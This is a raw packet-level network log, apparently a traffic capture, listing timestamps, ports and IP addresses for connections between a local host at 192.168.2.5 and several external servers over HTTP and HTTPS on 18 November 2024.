Nov 18, 2024 19:04:35.551196098 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.594736099 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.595395088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.595601082 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.596617937 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.653129101 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.653225899 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.653285980 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.654544115 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.654777050 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.654824018 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.655688047 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.655724049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.655761003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.655793905 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.676537037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.676573038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.676606894 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.676625967 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.676664114 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.681855917 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.681893110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.681946039 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.681950092 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.681979895 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.682024002 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.975205898 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.975238085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.975291967 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.975337029 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.975343943 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.975378990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.975414038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.975430965 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.975451946 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.975455999 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.976102114 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.976135969 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.976155996 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.976171017 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.976224899 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.976278067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.976649046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.976716995 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.976717949 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.976775885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.976820946 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.976861954 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.976896048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.977139950 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.977433920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.977529049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.977564096 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.977577925 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.979006052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:35.979062080 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:35.979357004 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.032339096 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.056122065 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:36.056247950 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:36.056325912 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:36.056520939 CET	49987	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:36.056540966 CET	443	49987	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:36.092112064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.092153072 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.092190027 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.092226028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.092315912 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.092315912 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.104379892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.104712009 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.104784966 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.114799023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.114828110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.114892960 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.142138958 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.142168999 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.142256975 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.145653963 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.145710945 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.145744085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.145802975 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.152865887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.152899027 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.152934074 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.152940035 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.152987003 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.258862972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.258903980 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.258940935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.259004116 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.298713923 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.298749924 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.298783064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.298799038 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.300594091 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.301075935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.301110029 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.301143885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.301219940 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.306794882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.306828976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.306862116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.306910038 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.306910038 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.415972948 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.416109085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.416287899 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.417371988 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.417752028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.417834044 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.428071976 CET	49981	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:36.428364038 CET	49988	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:36.433856010 CET	80	49981	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:36.433926105 CET	49981	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:36.434712887 CET	80	49988	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:36.434860945 CET	49988	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:36.437211037 CET	49988	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:36.442188978 CET	80	49988	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:36.453641891 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.453675985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.453710079 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.453736067 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.457007885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.457041025 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.457063913 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.457077026 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.457160950 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.464749098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.464924097 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.465133905 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.465425014 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.465454102 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.465509892 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.467680931 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.467710018 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.467760086 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.556159973 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.556231976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.556265116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.556324005 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.583726883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.583865881 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.584261894 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.584291935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.584325075 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.584372044 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.588323116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.588356972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.588391066 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.588422060 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.588438988 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.597655058 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.597764015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.597845078 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.599361897 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.599689007 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.599751949 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.643855095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.643889904 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.643923044 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.643970013 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.688477993 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.695079088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.695204020 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.696414948 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.696479082 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.696955919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.700630903 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.730285883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.730321884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.730355024 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.730421066 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.738809109 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.738842964 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.738879919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.738929987 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.738960981 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.744880915 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.744915962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.744949102 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.744993925 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.797853947 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.800111055 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.800187111 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.800220966 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.800298929 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.874497890 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.874535084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.874599934 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.874655962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.895428896 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.895483017 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.895493984 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.896220922 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.896250010 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.896276951 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.901642084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.901675940 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.901709080 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.901731968 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.901782990 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.907407999 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.907556057 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.907896996 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.907999992 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.959064960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.959196091 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.959256887 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:36.960478067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.960697889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:36.960753918 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.031665087 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.031698942 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.031734943 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.031754971 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.031764984 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.031809092 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.082060099 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.082214117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.082247972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.082266092 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.089011908 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.089046955 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.089066982 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.089081049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.089140892 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.104350090 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:37.113022089 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:37.113106012 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:37.115458012 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:37.124212027 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:37.231728077 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:37.231777906 CET	443	49990	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:37.231869936 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:37.232384920 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:37.232399940 CET	443	49990	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:37.353883982 CET	80	49988	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:37.353961945 CET	49988	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:37.358840942 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:37.359291077 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:37.364280939 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:37.364340067 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:37.364826918 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:37.364918947 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:37.365029097 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:37.370299101 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:37.630526066 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.630564928 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.630599976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.630615950 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.630635023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.630671024 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.630676031 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.630719900 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.630764961 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.630877972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631078005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631110907 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631124973 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.631145000 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631177902 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631186008 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.631211996 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631268024 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.631612062 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631645918 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631680965 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.631690025 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.672897100 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.747884989 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.747920990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.747953892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.747987986 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.748020887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.748055935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.748106003 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.748159885 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.748600960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.748635054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.748648882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.748686075 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.748698950 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.748734951 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.748749018 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.749110937 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.749142885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.749164104 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.749181986 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.749232054 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.749449968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.797488928 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.797522068 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.797564983 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.798274994 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.798305035 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:37.798321962 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:37.844734907 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.025490999 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.025518894 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.025619030 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.025635958 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.025650978 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.025686026 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.025691032 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.025702000 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.025713921 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.025743008 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.025773048 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.026691914 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.026707888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.026758909 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.027075052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.027121067 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.027148008 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.027195930 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.027328968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.027343988 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.027360916 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.027375937 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.027399063 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.027422905 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.028980017 CET	443	49990	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:38.029155016 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:38.029756069 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:38.030349970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.030359983 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.030421019 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.030428886 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:38.030441999 CET	443	49990	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:38.030647039 CET	443	49990	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:38.031913996 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:38.031987906 CET	49990	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:38.031995058 CET	443	49990	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:38.035269976 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:38.062966108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.063400984 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.063985109 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:38.066556931 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:38.066590071 CET	80	49979	62.76.234.151	192.168.2.5
